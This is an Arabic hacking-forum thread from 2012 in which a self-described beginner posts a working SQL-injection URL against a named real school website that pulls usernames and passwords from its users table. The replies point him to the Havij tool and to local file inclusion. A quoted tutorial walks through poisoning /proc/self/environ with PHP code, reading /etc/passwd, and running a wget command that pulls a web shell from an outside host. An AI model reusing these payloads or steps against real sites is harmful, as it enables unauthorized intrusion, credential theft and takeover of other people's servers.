ارجوا العناكب الدخول

06-27-2012, 04:41 AM

رقم المشاركة : 1 (permalink)

معلومات العضو

Mezo Shams

:: حبيبي يا رسول الله ::

إحصائية العضو

Mezo Shams غير متواجد حالياً

إحصائية الترشيح

عدد النقاط : 10
Mezo Shams is on a distinguished road

مجاب: رد: ارجوا العناكب الدخول

رابط اهوة اخى

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(login_name,0x3a,passwd),2,3,4,5,6,7,8+from+ users--

ماشى اخش الرابط اهوة قولى اعمل اية بقى احط اية فى البرنامج ولما احطة هيطلعلى اية عشان بس اتعلم

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC v]: hv[,h hgukh;f hg]o,g

التوقيع

http://www14.0zz0.com/2012/06/26/23/132386288.gif
مبتدا فى هكر المواقع
هكر بالحق sql
الميل:ikasnofa@hotmail.com

أفضل جواب - كتبه MaFia

جرب اكتب المعلومات يدوي مش كوبي وباست
اتاكد ان الجدول بتاع معلومات المدير صحيح
استعمل برنامج الهافج
الموقع به ثغره LfI افضل من Sql

اقتباس

المشاركة الأصلية كتبت بواسطة Dr.abolalh


	السلام عليكم ورحمة الله وبركاتة كيفكم اخواني اتمنا الجميع بخير وصحة وعافية حبيت اطرح هاذا الشرح لجل الافادة واتمنا انه يفديكم المتطلبات 1. FireFox [download] 2. Tamper Data [download] والموقع المراد التطبيق علية انا جبت لكم كم موقع http://pastie.org/private/7fbtucb1obczki7nk0xvxa طيب نكمل في البداية لازم نقدر نقرى proc/self/environ اضغط هنا لترى الصورة بحجمها الطبيعى بعد مايضبط الشغل نروح نشغل اداة تمبلر داتا بعد ماتشتغل معنا الاداة نروح لم بعدها نروح لم الموقع حقنا ونعمل تحديث وراح تخرج لن هل النافذة بعدها نروح للمربع هاذا في هاذا المربع وضعنا <?php phpinfo();?> عشان نقرة phpinfo ونضمن الشغل بعد ماتضغط اوك راح تخرج لك كم نافضة اضغط على الكل بعدها ماتضغط وتتخطى يفتح الموقع ويتم قراة phpinfo ومنها راح نشوف ادوال والسيف مود وغيرها امر مهم قبل رفع الشل <?exec('wget http://www.site.com/shell.txt -O shell.php');?> هاذي هي الدالة exec الي راح نسخدمها لسحب الملف طبعن تقدر تغيرها اذا كانت ممنوعه الى chmod system ومع شوي تطوير راح تضبط بعدها نروح نشوف راح يفتح الموقع مثل ماكان طيب لما تنتهي من الحقن مثال هل الموقع http://www.site.com/index.php?page=/etc/passwd نمسح index.php?page=/etc/passwd ونحط http://www.site.com/shell.php وباذن الله راح يتم الرفع الشل اتمنا الشرح ماهو مكرر اخوكم Dr.abolalh

مواقع النشر (المفضلة)

« الموضوع السابق | الموضوع التالي »

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
الانتقال إلى العرض العادي العرض المتطور الانتقال إلى العرض الشجري